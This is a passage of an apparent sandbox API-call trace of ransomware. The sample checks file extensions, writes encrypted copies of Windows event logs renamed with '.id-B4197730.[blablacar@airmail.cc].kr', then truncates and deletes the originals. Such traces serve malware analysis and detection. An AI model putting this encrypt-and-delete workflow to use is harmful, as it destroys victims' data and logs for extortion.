lstrlenW (lpString=".1cd") returned 4 [0100.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.480] lstrlenW (lpString=".jpg") returned 4 [0100.480] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.480] lstrlenW (lpString=".doc") returned 4 [0100.481] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString=".docx") returned 5 [0100.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.481] lstrlenW (lpString=".pdf") returned 4 [0100.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString=".xls") returned 4 [0100.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString=".xlsx") returned 5 [0100.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.481] lstrlenW (lpString=".ppt") returned 4 [0100.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.481] lstrlenW (lpString=".zip") returned 4 [0100.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString=".rar") returned 4 [0100.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString=".bz2") returned 4 [0100.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString=".7z") returned 3 [0100.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.481] lstrlenW (lpString=".dbf") returned 4 [0100.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.481] lstrlenW (lpString=".1cd") returned 4 [0100.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.481] lstrlenW (lpString=".jpg") returned 4 [0100.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.482] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0100.482] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0100.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0100.482] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0100.482] CloseHandle (hObject=0x34c) returned 1 [0100.490] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0100.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0100.491] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.491] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0100.491] GetLastError () returned 0x0 [0100.491] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.062] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.065] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.065] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x136, lpOverlapped=0x0) returned 1 [0101.066] SetEndOfFile (hFile=0x370) returned 1 [0101.098] CloseHandle (hObject=0x370) returned 1 [0101.101] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.101] SetEndOfFile (hFile=0x34c) returned 1 [0101.102] CloseHandle (hObject=0x34c) returned 1 [0101.103] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.103] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0101.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.103] lstrlenW (lpString=".doc") returned 4 [0101.103] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString=".docx") returned 5 [0101.104] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.104] lstrlenW (lpString=".pdf") returned 4 [0101.104] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString=".xls") returned 4 [0101.104] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString=".xlsx") returned 5 [0101.104] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.104] lstrlenW (lpString=".ppt") returned 4 [0101.104] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.104] lstrlenW (lpString=".zip") returned 4 [0101.104] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString=".rar") returned 4 [0101.104] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString=".bz2") returned 4 [0101.104] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString=".7z") returned 3 [0101.104] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.104] lstrlenW (lpString=".dbf") returned 4 [0101.104] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.104] lstrlenW (lpString=".1cd") returned 4 [0101.104] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.104] lstrlenW (lpString=".jpg") returned 4 [0101.105] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.105] lstrlenW (lpString=".doc") returned 4 [0101.105] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString=".docx") returned 5 [0101.105] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.105] lstrlenW (lpString=".pdf") returned 4 [0101.105] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString=".xls") returned 4 [0101.105] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString=".xlsx") returned 5 [0101.105] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.105] lstrlenW (lpString=".ppt") returned 4 [0101.105] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.105] lstrlenW (lpString=".zip") returned 4 [0101.105] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString=".rar") returned 4 [0101.105] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString=".bz2") returned 4 [0101.105] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.105] lstrlenW (lpString=".7z") returned 3 [0101.105] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.106] lstrlenW (lpString=".dbf") returned 4 [0101.106] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.106] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.106] lstrlenW (lpString=".1cd") returned 4 [0101.106] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.106] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0101.106] lstrlenW (lpString=".jpg") returned 4 [0101.106] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.106] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.106] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0101.106] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.107] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0101.107] CloseHandle (hObject=0x34c) returned 1 [0101.107] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0101.107] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.107] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.107] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.108] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.108] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.108] GetLastError () returned 0x0 [0101.108] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.141] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.144] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.144] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x144, lpOverlapped=0x0) returned 1 [0101.144] SetEndOfFile (hFile=0x370) returned 1 [0101.145] CloseHandle (hObject=0x370) returned 1 [0101.148] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.148] SetEndOfFile (hFile=0x34c) returned 1 [0101.150] CloseHandle (hObject=0x34c) returned 1 [0101.150] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.150] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0101.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.151] lstrlenW (lpString=".doc") returned 4 [0101.151] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.151] lstrlenW (lpString=".docx") returned 5 [0101.151] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.151] lstrlenW (lpString=".pdf") returned 4 [0101.151] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.151] lstrlenW (lpString=".xls") returned 4 [0101.151] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.151] lstrlenW (lpString=".xlsx") returned 5 [0101.151] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.151] lstrlenW (lpString=".ppt") returned 4 [0101.151] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.151] lstrlenW (lpString=".zip") returned 4 [0101.151] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.151] lstrlenW (lpString=".rar") returned 4 [0101.151] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.151] lstrlenW (lpString=".bz2") returned 4 [0101.152] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString=".7z") returned 3 [0101.152] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.152] lstrlenW (lpString=".dbf") returned 4 [0101.152] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.152] lstrlenW (lpString=".1cd") returned 4 [0101.152] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.152] lstrlenW (lpString=".jpg") returned 4 [0101.152] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.152] lstrlenW (lpString=".doc") returned 4 [0101.152] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString=".docx") returned 5 [0101.152] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.152] lstrlenW (lpString=".pdf") returned 4 [0101.152] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString=".xls") returned 4 [0101.152] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.152] lstrlenW (lpString=".xlsx") returned 5 [0101.152] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.153] lstrlenW (lpString=".ppt") returned 4 [0101.153] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.153] lstrlenW (lpString=".zip") returned 4 [0101.153] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.153] lstrlenW (lpString=".rar") returned 4 [0101.153] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.153] lstrlenW (lpString=".bz2") returned 4 [0101.153] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.153] lstrlenW (lpString=".7z") returned 3 [0101.153] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.153] lstrlenW (lpString=".dbf") returned 4 [0101.153] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.153] lstrlenW (lpString=".1cd") returned 4 [0101.153] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0101.153] lstrlenW (lpString=".jpg") returned 4 [0101.153] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.153] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.155] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0101.155] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.158] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0101.158] CloseHandle (hObject=0x34c) returned 1 [0101.158] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0101.158] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.158] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.158] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.158] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.158] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.159] GetLastError () returned 0x0 [0101.159] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.595] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.597] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.597] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.597] SetEndOfFile (hFile=0x370) returned 1 [0101.597] CloseHandle (hObject=0x370) returned 1 [0101.600] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.600] SetEndOfFile (hFile=0x34c) returned 1 [0101.601] CloseHandle (hObject=0x34c) returned 1 [0101.601] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.601] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0101.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.614] lstrlenW (lpString=".doc") returned 4 [0101.614] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.614] lstrlenW (lpString=".docx") returned 5 [0101.614] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.614] lstrlenW (lpString=".pdf") returned 4 [0101.614] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.614] lstrlenW (lpString=".xls") returned 4 [0101.614] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.614] lstrlenW (lpString=".xlsx") returned 5 [0101.614] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.614] lstrlenW (lpString=".ppt") returned 4 [0101.614] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.615] lstrlenW (lpString=".zip") returned 4 [0101.615] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString=".rar") returned 4 [0101.615] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString=".bz2") returned 4 [0101.615] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString=".7z") returned 3 [0101.615] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.615] lstrlenW (lpString=".dbf") returned 4 [0101.615] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.615] lstrlenW (lpString=".1cd") returned 4 [0101.615] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.615] lstrlenW (lpString=".jpg") returned 4 [0101.615] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.615] lstrlenW (lpString=".doc") returned 4 [0101.615] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString=".docx") returned 5 [0101.615] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.615] lstrlenW (lpString=".pdf") returned 4 [0101.615] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString=".xls") returned 4 [0101.615] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString=".xlsx") returned 5 [0101.615] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.615] lstrlenW (lpString=".ppt") returned 4 [0101.615] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.616] lstrlenW 